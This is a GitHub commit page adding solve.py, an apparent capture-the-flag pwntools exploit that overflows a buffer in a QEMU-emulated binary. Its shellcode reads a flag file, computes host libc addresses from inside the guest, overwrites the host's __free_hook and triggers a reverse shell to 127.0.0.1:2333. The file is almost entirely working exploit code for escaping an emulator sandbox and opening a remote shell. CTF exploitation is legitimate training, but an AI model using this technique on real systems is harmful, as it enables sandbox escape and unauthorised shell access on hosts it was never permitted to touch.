Skip to content

Commit 0073b40

Browse files
authored
Create solve.py
1 parent bb2970b commit 0073b40

File tree

1 file changed

+74
-0
lines changed

1 file changed

+74
-0
lines changed
+74
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
from pwn import *
4+
#import os
5+
code = ELF('./app', checksec=False)
6+
context.arch = code.arch
7+
context.log_level = 'debug'
8+
gadget = lambda x: next(libc.search(asm(x, os='linux', arch=code.arch)))
9+
10+
def exploit(r):
11+
sc = shellcraft.amd64.linux
12+
code.address = 0x4000000000
13+
libc.address = 0x4000c53000
14+
rev = asm(
15+
sc.connect('127.0.0.1', 2333)
16+
+sc.execve("/bin/sh")
17+
)
18+
# nc -lvp 2333
19+
# Listening on [0.0.0.0] (family 0, port 2333)
20+
# Connection from [127.0.0.1] port 2333 [tcp/*] accepted (family 2, sport 57110)
21+
# sh >&0
22+
#
23+
rop = flat(
24+
'A'*40,
25+
0x4000a01f00,
26+
'\x90'*0x100,
27+
asm(
28+
sc.open("flag")
29+
+sc.read("rax", "rsp", 0x100)
30+
+sc.write(1, "rsp", 0x100)
31+
+sc.close(0)
32+
+sc.mmap(0x4000000000,0x200000,7,constants.MAP_PRIVATE|constants.MAP_ANONYMOUS, -1, 0)
33+
+'mov rbx, rax;'
34+
+'mov rsp, rax;'
35+
+'add rsp, 0x1000;'
36+
+shellcraft.amd64.pushstr(rev,append_null=False)
37+
+'mov rsi, rsp;' # rsi=shellcode
38+
+'add rbx, 0x260a000;' # rbx=guest_libc
39+
+'mov rcx, [rbx+0x3c4028];' # realloc
40+
+'sub rcx, 0x1f7f6;' # rcx=host_libc
41+
+'mov rdx, rcx;'
42+
+'sub rdx, rbx;' # rdx=guest_base
43+
+'mov rdi, rcx;'
44+
+'add rdi, 3958696;'
45+
+'sub rdi, rdx;' # rdi=host_libc.__free_hook - guest_base
46+
+'add rsi, rdx;' # rsi=shellcode + guest_base
47+
+'mov [rdi], rsi;'
48+
+'mov rax, 31338;'
49+
+'syscall'
50+
),
51+
'\x90'*0x100,
52+
)
53+
write('rop', rop)
54+
raw_input('#')
55+
r.sendlineafter(': ', rop)
56+
57+
r.interactive()
58+
59+
if __name__ == '__main__':
60+
if len(sys.argv) > 2:
61+
r = remote(sys.argv[1], int(sys.argv[2]))
62+
libc = code.libc if code.libc else ELF('./bc.so.6', checksec=False)
63+
elif len(sys.argv) > 1:
64+
#r = remote('127.0.0.1', 4444)
65+
r = process(['./qemu-x86_64', '-g', '4444', '-B', '0x123000', './app'])
66+
#r = process(['./qemu-x86_64', '-B', '0x123000', './app'])
67+
libc = code.libc if code.libc else ELF('./bc.so.6', checksec=False)
68+
else:
69+
#r = remote('127.0.0.1', 4444)
70+
#r = process(['./qemu-x86_64', '-strace', './app.bak'])
71+
r = process('./run.sh app', shell=True)
72+
libc = code.libc if code.libc else ELF('./bc.so.6', checksec=False)
73+
print code, libc
74+
exploit(r)

0 commit comments

Comments
 (0)